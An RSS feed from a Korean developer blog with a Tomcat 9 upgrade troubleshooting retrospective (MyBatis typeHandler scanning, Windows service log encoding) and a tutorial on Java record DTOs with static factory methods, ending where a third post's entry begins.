<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>BIBA DEV</title>
    <link>https://doinitright.tistory.com/</link>
    <description>Creates Automation</description>
    <language>ko</language>
    <pubDate>Thu, 9 Jul 2026 19:04:30 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>BI3A</managingEditor>
    <image>
      <title>BIBA DEV</title>
      <url>https://tistory1.daumcdn.net/tistory/6231978/attach/4af460662bd64870a93f67ab7b6b1fd1</url>
      <link>https://doinitright.tistory.com</link>
    </image>
    <item>
      <title>[Tomcat] 버전 업그레이드 과정에서의 트러블슈팅 회고</title>
      <link>https://doinitright.tistory.com/319</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_대부분은 버그입니다.png&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAZYwI/btsE6JdjWFo/ojAL5M4jQEYaGpC1qjFwy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAZYwI/btsE6JdjWFo/ojAL5M4jQEYaGpC1qjFwy1/img.png&quot; data-alt=&quot;안되는 이유는 모르겠고 되는 이유는 더더욱 모르겠을 때&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAZYwI/btsE6JdjWFo/ojAL5M4jQEYaGpC1qjFwy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAZYwI%2FbtsE6JdjWFo%2FojAL5M4jQEYaGpC1qjFwy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;336&quot; data-filename=&quot;edited_대부분은 버그입니다.png&quot; data-origin-width=&quot;600&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;안되는 이유는 모르겠고 되는 이유는 더더욱 모르겠을 때&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;환경&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;WAS&lt;/b&gt;: Apache Tomcat 9.0.71 &amp;rarr; 9.0.118&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Framework&lt;/b&gt;: Spring Boot (WAR 배포)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;ORM&lt;/b&gt;: MyBatis&lt;/li&gt;
&lt;li&gt;&lt;b&gt;OS&lt;/b&gt;: Windows&lt;/li&gt;
&lt;li&gt;&lt;b&gt;실행 방식&lt;/b&gt;: Windows 서비스 등록&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 1. MyBatis typeHandler 패키지 스캔 오류&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;증상&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;Caused by: java.io.IOException: Failed to parse config resource: class path resource [mybatis-config.xml]
...
Caused by: java.lang.IllegalArgumentException: 
리소스 경로 [/WEB-INF/classes/com/icis/ireo/db/type/IREOCLOBTypeHandler.class/龕봅\u0000\u0000\u00004\u0000r]
이(가) [null](으)로 정규화되어 있는데, 이는 유효하지 않습니다.&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;원인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;mybatis-config.xml&lt;/code&gt;에서 typeHandler를 패키지 스캔 방식으로 등록하고 있었음.&lt;/p&gt;
&lt;pre class=&quot;ada&quot;&gt;&lt;code&gt;&amp;lt;typeHandlers&amp;gt;
    &amp;lt;package name=&quot;com.icis.ireo.db.type&quot; /&amp;gt;
&amp;lt;/typeHandlers&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MyBatis &lt;code&gt;DefaultVFS&lt;/code&gt;가 패키지 스캔 시 &lt;code&gt;.class&lt;/code&gt; 파일 바이너리 데이터가 경로 문자열에 섞여 비정상 경로가 생성됨. Tomcat &lt;code&gt;StandardRoot.validate()&lt;/code&gt;가 이를 차단하면서 오류 발생.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;StandardRoot.validate()&lt;/code&gt;의 경로 null 체크는 Tomcat 8.0.x부터 존재했고, 이 충돌은 특정 버전이 아닌 구조적으로 존재하는 문제임.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;해결&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;&amp;lt;package&amp;gt;&lt;/code&gt; 스캔 제거 후 typeHandler 직접 명시.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;!-- Before --&amp;gt;
&amp;lt;typeHandlers&amp;gt;
    &amp;lt;package name=&quot;com.icis.ireo.db.type&quot; /&amp;gt;
&amp;lt;/typeHandlers&amp;gt;

&amp;lt;!-- After --&amp;gt;
&amp;lt;typeHandlers&amp;gt;
    &amp;lt;typeHandler handler=&quot;com.icis.ireo.db.type.IREOLongTypeHandler&quot;
                 jdbcType=&quot;LONGVARCHAR&quot; javaType=&quot;java.lang.String&quot;/&amp;gt;
    &amp;lt;typeHandler handler=&quot;com.icis.ireo.db.type.IREOCLOBTypeHandler&quot;
                 jdbcType=&quot;CLOB&quot; javaType=&quot;java.lang.Object&quot;/&amp;gt;
    &amp;lt;typeHandler handler=&quot;com.icis.ireo.db.type.IREONCLOBTypeHandler&quot;
                 jdbcType=&quot;NCLOB&quot; javaType=&quot;java.lang.Object&quot;/&amp;gt;
    &amp;lt;typeHandler handler=&quot;com.icis.ireo.db.type.IREODateTypeHandler&quot;
                 jdbcType=&quot;DATE&quot; javaType=&quot;java.util.Date&quot;/&amp;gt;
&amp;lt;/typeHandlers&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;패키지 내 typeHandler 누락 시 런타임 타입 매핑 오류 발생하므로 전부 명시할 것.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;대안&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;vfsImpl&lt;/code&gt;을 JBoss6VFS로 교체해서 우회 가능.&lt;/p&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;&amp;lt;settings&amp;gt;
    &amp;lt;setting name=&quot;vfsImpl&quot; value=&quot;org.apache.ibatis.io.JBoss6VFS&quot;/&amp;gt;
&amp;lt;/settings&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 2. stdout 로그 인코딩 깨짐&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;증상&lt;/h3&gt;
&lt;pre class=&quot;markdown&quot;&gt;&lt;code&gt;[INFO ][EmbeddedMariaDB] Ű ? db/schema_basel2.sql
[INFO ][EmbeddedMariaDB] ũ Ʈ Ϸ : db/schema_basel2.sql&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;원인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Windows 서비스로 실행 시 &lt;code&gt;setenv.bat&lt;/code&gt;이 읽히지 않음. Tomcat을 서비스로 등록하면 &lt;b&gt;Procrun(&lt;code&gt;tomcat9.exe&lt;/code&gt;)&lt;/b&gt; 이 JVM을 직접 구동하므로 &lt;code&gt;setenv.bat&lt;/code&gt;의 JVM 옵션이 무시됨.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;해결&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;{TOMCAT_HOME}/bin/tomcat9w.exe&lt;/code&gt; 실행 &amp;rarr; &lt;b&gt;Java 탭&lt;/b&gt; &amp;rarr; &lt;code&gt;Java Options&lt;/code&gt;에 추가 후 서비스 재시작.&lt;/p&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;-Dfile.encoding=UTF-8&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;참고. Windows vs Linux Tomcat 로그 구조 차이&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Linux (&lt;code&gt;startup.sh&lt;/code&gt;)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;catalina.sh&lt;/code&gt; 내부에서 stdout을 &lt;code&gt;catalina.out&lt;/code&gt;으로 리다이렉트함.&lt;/p&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt; &quot;$CATALINA_OUT&quot; 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Tomcat 내부 로그 + 앱 로그(System.out, slf4j ConsoleAppender) 전부 &lt;code&gt;catalina.out&lt;/code&gt; 하나에 찍힘.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Windows 서비스 (Procrun)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Procrun이 stdout/stderr를 분리해서 씀.&lt;/p&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;catalina.log         &amp;rarr; Tomcat 컨테이너 자체 로그
tomcat9-stdout.log   &amp;rarr; 앱 콘솔 출력 (System.out, slf4j ConsoleAppender)
tomcat9-stderr.log   &amp;rarr; 에러 및 스택트레이스&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Windows &lt;code&gt;startup.bat&lt;/code&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stdout이 콘솔 창으로 출력됨. &lt;code&gt;catalina.log&lt;/code&gt;에는 Tomcat 내부 로그만 찍힘.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;요약&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;Linux startup.sh&lt;/th&gt;
&lt;th&gt;Windows startup.bat&lt;/th&gt;
&lt;th&gt;Windows 서비스&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;실행 주체&lt;/td&gt;
&lt;td&gt;java 직접&lt;/td&gt;
&lt;td&gt;java 직접&lt;/td&gt;
&lt;td&gt;Procrun(tomcat9.exe)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;앱 로그 행선지&lt;/td&gt;
&lt;td&gt;catalina.out&lt;/td&gt;
&lt;td&gt;콘솔 창&lt;/td&gt;
&lt;td&gt;tomcat9-stdout.log&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;setenv 적용&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌ (tomcat9w.exe에서 설정)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;콘솔 창&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;운영 환경에서는 slf4j FileAppender로 별도 파일에 직접 쓰도록 구성하는 게 나음. stdout 로그에 의존하지 말 것.&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <category>DEV/TroubleShooting</category>
      <author>BI3A</author>
      <guid isPermaLink="true">https://doinitright.tistory.com/319</guid>
      <comments>https://doinitright.tistory.com/319#entry319comment</comments>
      <pubDate>Thu, 28 May 2026 17:49:16 +0900</pubDate>
    </item>
    <item>
      <title>[개발 방법론] DTO와 팩토리 패턴</title>
      <link>https://doinitright.tistory.com/318</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;741&quot; data-origin-height=&quot;600&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diwI4Z/dJMcafMYxoH/dfMGWDA8XgHfex1tQGga6K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diwI4Z/dJMcafMYxoH/dfMGWDA8XgHfex1tQGga6K/img.jpg&quot; data-alt=&quot;팩토리에서 벌쳐뽑듯 하는 팩토리 패턴과 DTO에 대한 이해 정리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diwI4Z/dJMcafMYxoH/dfMGWDA8XgHfex1tQGga6K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiwI4Z%2FdJMcafMYxoH%2FdfMGWDA8XgHfex1tQGga6K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;400&quot; height=&quot;324&quot; data-origin-width=&quot;741&quot; data-origin-height=&quot;600&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;팩토리에서 벌쳐뽑듯 하는 팩토리 패턴과 DTO에 대한 이해 정리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본 포스팅의 코드는 java, spring data jpa 기반으로 작성되었습니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;DTO (Data Transfer Object)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;API를 개발하다 보면 서비스 계층에서 처리한 결과를 클라이언트에 반환해야 하는 상황이 생긴다. 이때 JPA 엔티티를 그대로 반환하면 여러 문제가 발생한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;엔티티에는 클라이언트에 노출해서는 안 되는 필드가 포함될 수 있다 (예: 원가, 내부 상태값 등).&lt;/li&gt;
&lt;li&gt;JPA 엔티티를 직렬화하면 프록시 객체 문제, 지연 로딩 예외 등이 발생할 수 있다.&lt;/li&gt;
&lt;li&gt;API 응답 구조(계약)와 DB 구조(엔티티)가 결합되면, 둘 중 하나를 변경할 때 서로 영향을 준다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제를 해결하기 위해 사용하는 것이 &lt;b&gt;DTO(Data Transfer Object)&lt;/b&gt;다. DTO는 계층 간 데이터 전달을 위한 전용 객체로, 꼭 필요한 필드만 담아서 전달하는 역할을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Java &lt;code&gt;record&lt;/code&gt; 로 DTO 만들기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DTO를 일반 &lt;code&gt;class&lt;/code&gt;로 만들면 반복적인 코드가 많다.&lt;/p&gt;
&lt;pre class=&quot;kotlin&quot;&gt;&lt;code&gt;public class ProductResponseDto {
    private final Long id;
    private final String name;

    public ProductResponseDto(Long id, String name) {
        this.id = id;
        this.name = name;
    }

    public Long getId() { return id; }
    public String getName() { return name; }
    // equals, hashCode, toString도 직접 구현해야 한다
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DTO는 한 번 생성된 뒤 변경될 필요가 없는 객체다. 불변 데이터 묶음 선언에 특화된 Java 16의 &lt;code&gt;record&lt;/code&gt;를 사용하면 위 코드를 한 줄로 줄일 수 있다.&lt;/p&gt;
&lt;pre class=&quot;delphi&quot;&gt;&lt;code&gt;public record ProductResponseDto(Long id, String name) {}
// 생성자, getter, equals, hashCode, toString이 자동으로 만들어진다&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 &lt;code&gt;record&lt;/code&gt;를 그대로 사용하다 보면 또 다른 문제가 생긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;생성자 직접 호출의 한계&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;record&lt;/code&gt;는 선언한 필드 전체를 받는 생성자를 자동으로 만든다. 그런데 같은 DTO를 상황에 따라 다르게 채워야 하는 경우, 생성자를 직접 호출하면 의도가 코드에 드러나지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결제 응답이 성공/실패에 따라 포함 필드가 다른 경우를 예로 들면 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;haxe&quot;&gt;&lt;code&gt;// 결제 성공: 영수증 URL 있음, 실패 사유 없음
return new PaymentResponseDto(&quot;ORD-001&quot;, receiptUrl, null);

// 결제 실패: 영수증 URL 없음, 실패 사유 있음
return new PaymentResponseDto(&quot;ORD-001&quot;, null, failReason);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 코드에는 세 가지 문제가 있다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;code&gt;null&lt;/code&gt;이 어떤 의도로 들어가는지 코드만 봐서는 알기 어렵다.&lt;/li&gt;
&lt;li&gt;어떤 필드에 &lt;code&gt;null&lt;/code&gt;을 넣어야 하는지를 호출하는 쪽에서 직접 알고 있어야 한다.&lt;/li&gt;
&lt;li&gt;필드가 추가되면 이 생성자를 호출하는 모든 곳을 수정해야 한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;정적 팩토리 메서드로 해결하기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 문제는 &lt;b&gt;정적 팩토리 메서드(Static Factory Method)&lt;/b&gt; 패턴으로 해결할 수 있다. 객체 생성을 담당하는 &lt;code&gt;static&lt;/code&gt; 메서드를 별도로 두고, 상황에 맞는 이름을 붙이는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;Effective Java(Joshua Bloch)&lt;/i&gt; Item 1에서도 이 이유를 명확히 설명한다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성자는 이름을 가질 수 없지만, 정적 팩토리 메서드는 이름으로 의도를 전달할 수 있다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;앞서 본 결제 응답 DTO에 정적 팩토리를 적용하면 다음과 같다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre class=&quot;haxe&quot;&gt;&lt;code&gt;public record PaymentResponseDto(
    String orderId,
    String receiptUrl,   // 성공 시에만 존재
    String failReason    // 실패 시에만 존재
) {
    // 결제 성공: 영수증 URL 있음, 실패 사유 없음
    public static PaymentResponseDto ofSuccess(String orderId, String receiptUrl) {
        return new PaymentResponseDto(orderId, receiptUrl, null);
    }

    // 결제 실패: 영수증 URL 없음, 실패 사유 있음
    public static PaymentResponseDto ofFailure(String orderId, String failReason) {
        return new PaymentResponseDto(orderId, null, failReason);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;null&lt;/code&gt; 처리 로직이 DTO 내부로 들어왔기 때문에, 서비스 계층의 코드가 훨씬 명확해진다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;// 팩토리 없이 서비스에서 직접 분기
if (paymentSuccess) {
    return new PaymentResponseDto(orderId, receiptUrl, null);
} else {
    return new PaymentResponseDto(orderId, null, failReason);
}

// 팩토리 사용 시
return paymentSuccess
    ? PaymentResponseDto.ofSuccess(orderId, receiptUrl)
    : PaymentResponseDto.ofFailure(orderId, failReason);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;팩토리 메서드 명명 규칙&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;이름&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;th&gt;사용 시점&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;of(...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;단순 변환 &amp;mdash; 인수를 그대로 감싸거나 조합&lt;/td&gt;
&lt;td&gt;필드 조합 로직이 단순할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ofXxx(...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;특수 케이스 &amp;mdash; 목적에 따라 다른 초기값 적용&lt;/td&gt;
&lt;td&gt;같은 타입의 객체를 상황에 따라 다르게 만들 때&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;(참고)&lt;code&gt;@JsonInclude(NON_NULL)&lt;/code&gt; 과의 연결&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런데 팩토리 내부에서 &lt;code&gt;null&lt;/code&gt;을 주입하더라도, 직렬화 시 &lt;code&gt;null&lt;/code&gt; 키가 클라이언트에 그대로 노출되는 문제가 남는다.&lt;/p&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;{&quot;orderId&quot;: &quot;ORD-001&quot;, &quot;receiptUrl&quot;: null, &quot;failReason&quot;: &quot;잔액 부족&quot;}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;@JsonInclude(JsonInclude.Include.NON_NULL)&lt;/code&gt;을 선언하면 &lt;b&gt;null인 필드는 JSON 키 자체가 제거된다&lt;/b&gt;.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;@JsonInclude(JsonInclude.Include.NON_NULL)
public record PaymentResponseDto(
    String orderId,
    String receiptUrl,
    String failReason
) { ... }&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;{&quot;orderId&quot;: &quot;ORD-001&quot;, &quot;failReason&quot;: &quot;잔액 부족&quot;}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정적 팩토리 패턴이 &lt;code&gt;null&lt;/code&gt; 주입 방식을 DTO 내부에 캡슐화해두었기 때문에, 어노테이션 하나로 모든 케이스의 응답이 일관되게 처리된다. 만약 서비스 계층에서 &lt;code&gt;null&lt;/code&gt;을 직접 관리했다면, 이런 일관성을 보장하기 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;추가 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;단순 메시지 응답&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력값을 받아 메시지 문자열을 조합하는 로직도 팩토리 내부에 캡슐화할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;public record NotificationResponseDto(String message) {

    public static NotificationResponseDto of(String recipient) {
        return new NotificationResponseDto(
            recipient + &quot; 님께 알림이 발송되었습니다.&quot;
        );
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;호출하는 쪽에서는 &lt;code&gt;NotificationResponseDto.of(recipient)&lt;/code&gt;만 호출하면 된다. 메시지 포맷이 바뀌어도 팩토리 내부만 수정하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;단순 래핑 &amp;mdash; 확장을 고려한 팩토리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재는 단순히 필드를 감싸기만 하더라도, 팩토리 메서드를 통해 생성하도록 해두면 향후 필드가 추가될 때 호출부를 수정할 필요가 없다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;public record UserSummaryResponseDto(Long id, String name, String email) {

    public static UserSummaryResponseDto of(Long id, String name, String email) {
        return new UserSummaryResponseDto(id, name, email);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;code&gt;record&lt;/code&gt; + 정적 팩토리 조합&lt;/h2&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;public record ProductResponseDto(String name, int price) {

    // 1. 컴팩트 생성자는 검증용으로만 사용
    public ProductResponseDto {
        Objects.requireNonNull(name, &quot;name must not be null&quot;);
        if (price &amp;lt; 0) throw new IllegalArgumentException(&quot;price must be non-negative&quot;);
    }

    // 2. 단순 변환
    public static ProductResponseDto of(String name, int price) {
        return new ProductResponseDto(name, price);
    }

    // 3. 특수 케이스 &amp;mdash; 품절 상품은 가격을 0으로 표시
    public static ProductResponseDto ofSoldOut(String name) {
        return new ProductResponseDto(name, 0);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;외부에서는 &lt;code&gt;new ProductResponseDto(...)&lt;/code&gt; 대신 항상 &lt;code&gt;ProductResponseDto.of(...)&lt;/code&gt; 형태로 생성한다.&lt;/li&gt;
&lt;li&gt;팩토리 메서드 이름: &lt;code&gt;of&lt;/code&gt;(단순 변환), &lt;code&gt;ofXxx&lt;/code&gt;(특수 케이스).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;record&lt;/code&gt;의 전체 필드 생성자는 암묵적으로 생성되므로 Lombok이 불필요하다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>DEV/개발 방법론</category>
      <category>dto</category>
      <category>java</category>
      <category>Spring</category>
      <category>레코드</category>
      <category>정적 팩토리</category>
      <author>BI3A</author>
      <guid isPermaLink="true">https://doinitright.tistory.com/318</guid>
      <comments>https://doinitright.tistory.com/318#entry318comment</comments>
      <pubDate>Wed, 8 Apr 2026 17:48:58 +0900</pubDate>
    </item>
    <item>
      <title>[Spring] 포트-어댑터 패턴 이해와 적용 사례</title>
      <link>https://doinitright.tistory.com/317</link>
